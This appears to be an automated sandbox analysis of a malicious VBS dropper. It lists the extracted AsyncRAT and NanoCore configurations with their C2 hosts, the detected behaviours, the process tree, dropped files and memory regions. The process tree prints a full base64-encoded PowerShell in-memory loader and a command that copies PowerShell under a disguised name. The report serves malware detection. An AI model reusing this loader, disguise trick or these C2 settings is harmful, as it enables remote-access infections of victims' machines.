Resubmissions

28-08-2024 22:22

240828-2al3mazana 10

28-08-2024 21:59

240828-1whrnaybrg 10

28-08-2024 21:42

240828-1ktpsazarj 10

28-08-2024 00:57

240828-ba5lvsyfle 10

28-08-2024 00:53

240828-a8x41a1ajk 10

27-08-2024 03:06

240827-dl39aa1gpm 10

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-08-2024 21:59

General

  • Target

    c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs

  • Size

    2.0MB

  • MD5

    3096f8476512077adacad2e66cd9535e

  • SHA1

    8ddfbf4ea1bb26fecb75ff9482529060351f5c82

  • SHA256

    c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd

  • SHA512

    277c34f5300e6e4b2129dd8aae4e68c226dee549601d0fb12323d86588492ea810cbe9ffcecda66c7680f2af6e76a7d7532d7a09d1cd59d639980ae06ac5188f

  • SSDEEP

    24576:9f5HNlz6GydnATwu6JRnDB/4G8jslVZCNct1hMYnnEhKEw7nmlLW+r1/YrK88skH:pNTmJT/QglCN07ir4f6MJk8nO

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

onlineisofilelandersbaseballer1.mrbonus.com:7011

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

nanocore

Version

1.2.2.0

C2

e-businessloader.mywire.org:5230

127.0.0.1:5230

Mutex

0be0e5d9-4209-4f88-b4fe-27e7b678a0b5

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    127.0.0.1

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2024-03-16T21:32:38.702958636Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    5230

  • default_group

    e-business

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    0be0e5d9-4209-4f88-b4fe-27e7b678a0b5

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    e-businessloader.mywire.org

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3584
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs"
        2⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1952
        • C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
          "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" -enc JABWAGwAbgBmAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQAWQBiAGsAbwBhACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAVgBsAG4AZgByACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEYAZABqAGcAagAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABZAGIAawBvAGEALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEEAcABnAGoAcABqAGoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEYAZABqAGcAagAgACkAOwAkAFcAdQB3AHUAaAB1AGMAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABBAHAAZwBqAHAAagBqACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABZAGcAbwB5AGkAdgBlAG4AbgBvAC4AQwBvAHAAeQBUAG8AKAAgACQAVwB1AHcAdQBoAHUAYwBoACAAKQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAuAEMAbABvAHMAZQAoACkAOwAkAEEAcABnAGoAcABqAGoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABGAGQAagBnAGoAIAA9ACAAJABXAHUAdwB1AGgAdQBjAGgALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEYAZABqAGcAagApADsAIAAkAEMAaQB4AHoAbwBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARgBkAGoAZwBqACkAOwAgACQATABqAGoAdwBlAHIAZgBuAGcAIAA9ACAAJABDAGkAeAB6AG8AZgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAEwAagBqAHcAZQByAGYAbgBnAC4ARABlAGMAbABhAHIAaQBuAGcAVAB5AHAAZQAsACAAJABMAGoAagB3AGUAcgBmAG4AZwAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Checks computer location settings
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2020
          • C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe
            "C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:4808
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        PID:3232
    • C:\Windows\system32\cmd.exe
      cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" /Y
      1⤵
      • Process spawned unexpected child process
      PID:956

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe

      Filesize

      47KB

      MD5

      159c90b70a434849067541ea6242addf

      SHA1

      a8fa40329afa1d5ebab79cdde6863c81e15f0735

      SHA256

      5982b94c5faf43027f7c8beb54f393619d718ce2afb1a2ecf98a40b7ee97fb4c

      SHA512

      92974a835a7652e9396630cd4fc88d06f01e4ad1ec6f7f8e8bfeb614c0611a8d281359b518cbad21536c432ffd8e6d0bab74209fb0f1c1d62f18de5e049e50db

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h3luvcra.b15.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe

      Filesize

      423KB

      MD5

      c32ca4acfcc635ec1ea6ed8a34df5fac

      SHA1

      f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

      SHA256

      73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

      SHA512

      6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

    • memory/2020-85-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-43-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-8-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

    • memory/2020-9-0x0000000004A30000-0x0000000004A52000-memory.dmp

      Filesize

      136KB

    • memory/2020-10-0x0000000004BF0000-0x0000000004C56000-memory.dmp

      Filesize

      408KB

    • memory/2020-11-0x0000000004C60000-0x0000000004CC6000-memory.dmp

      Filesize

      408KB

    • memory/2020-7-0x0000000004F60000-0x0000000005588000-memory.dmp

      Filesize

      6.2MB

    • memory/2020-18-0x0000000005590000-0x00000000058E4000-memory.dmp

      Filesize

      3.3MB

    • memory/2020-22-0x0000000005B00000-0x0000000005B1E000-memory.dmp

      Filesize

      120KB

    • memory/2020-23-0x0000000005B30000-0x0000000005B7C000-memory.dmp

      Filesize

      304KB

    • memory/2020-25-0x0000000006020000-0x000000000603A000-memory.dmp

      Filesize

      104KB

    • memory/2020-26-0x00000000060A0000-0x00000000060C2000-memory.dmp

      Filesize

      136KB

    • memory/2020-24-0x0000000006D10000-0x0000000006DA6000-memory.dmp

      Filesize

      600KB

    • memory/2020-27-0x0000000007360000-0x0000000007904000-memory.dmp

      Filesize

      5.6MB

    • memory/2020-28-0x0000000007F90000-0x000000000860A000-memory.dmp

      Filesize

      6.5MB

    • memory/2020-29-0x0000000006E20000-0x0000000006F34000-memory.dmp

      Filesize

      1.1MB

    • memory/2020-30-0x0000000006FA0000-0x00000000070A6000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-31-0x00000000071D0000-0x00000000072D8000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-35-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-55-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-67-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-65-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-63-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-57-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-53-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-51-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-50-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-47-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-41-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-93-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-61-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-59-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-37-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-45-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-89-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-33-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-32-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-5-0x0000000002200000-0x0000000002236000-memory.dmp

      Filesize

      216KB

    • memory/2020-39-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-91-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-6-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

    • memory/2020-88-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-83-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-81-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-79-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-77-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-75-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-73-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-95-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-71-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-69-0x00000000071D0000-0x00000000072D2000-memory.dmp

      Filesize

      1.0MB

    • memory/2020-1104-0x0000000007910000-0x0000000007994000-memory.dmp

      Filesize

      528KB

    • memory/2020-1105-0x0000000007300000-0x000000000734C000-memory.dmp

      Filesize

      304KB

    • memory/2020-1109-0x000000007474E000-0x000000007474F000-memory.dmp

      Filesize

      4KB

    • memory/2020-1110-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

    • memory/2020-4-0x000000007474E000-0x000000007474F000-memory.dmp

      Filesize

      4KB

    • memory/2020-1123-0x0000000007EE0000-0x0000000007F34000-memory.dmp

      Filesize

      336KB

    • memory/2020-1127-0x0000000074740000-0x0000000074EF0000-memory.dmp

      Filesize

      7.7MB

    • memory/3232-1130-0x00000000057B0000-0x000000000584C000-memory.dmp

      Filesize

      624KB

    • memory/3232-1142-0x0000000006D30000-0x0000000006D3E000-memory.dmp

      Filesize

      56KB

    • memory/3232-1140-0x0000000006D10000-0x0000000006D1E000-memory.dmp

      Filesize

      56KB

    • memory/3232-1141-0x0000000006D20000-0x0000000006D32000-memory.dmp

      Filesize

      72KB

    • memory/3232-1131-0x0000000005760000-0x000000000576A000-memory.dmp

      Filesize

      40KB

    • memory/3232-1133-0x00000000059F0000-0x00000000059FA000-memory.dmp

      Filesize

      40KB

    • memory/3232-1134-0x0000000005A00000-0x0000000005A1E000-memory.dmp

      Filesize

      120KB

    • memory/3232-1139-0x0000000006CE0000-0x0000000006CFA000-memory.dmp

      Filesize

      104KB

    • memory/3232-1149-0x0000000006DE0000-0x0000000006DF4000-memory.dmp

      Filesize

      80KB

    • memory/3232-1138-0x0000000006CD0000-0x0000000006CDC000-memory.dmp

      Filesize

      48KB

    • memory/3232-1135-0x0000000006670000-0x000000000667A000-memory.dmp

      Filesize

      40KB

    • memory/3232-1129-0x0000000005670000-0x0000000005702000-memory.dmp

      Filesize

      584KB

    • memory/3232-1147-0x0000000006DA0000-0x0000000006DAE000-memory.dmp

      Filesize

      56KB

    • memory/3232-1146-0x0000000006D80000-0x0000000006D94000-memory.dmp

      Filesize

      80KB

    • memory/3232-1145-0x0000000006D60000-0x0000000006D70000-memory.dmp

      Filesize

      64KB

    • memory/3232-1144-0x0000000006D50000-0x0000000006D64000-memory.dmp

      Filesize

      80KB

    • memory/3232-1143-0x0000000006D40000-0x0000000006D4C000-memory.dmp

      Filesize

      48KB

    • memory/3232-1128-0x0000000000400000-0x0000000000438000-memory.dmp

      Filesize

      224KB

    • memory/3232-1148-0x0000000006DB0000-0x0000000006DDE000-memory.dmp

      Filesize

      184KB

    • memory/4808-1124-0x00000000001F0000-0x0000000000202000-memory.dmp

      Filesize

      72KB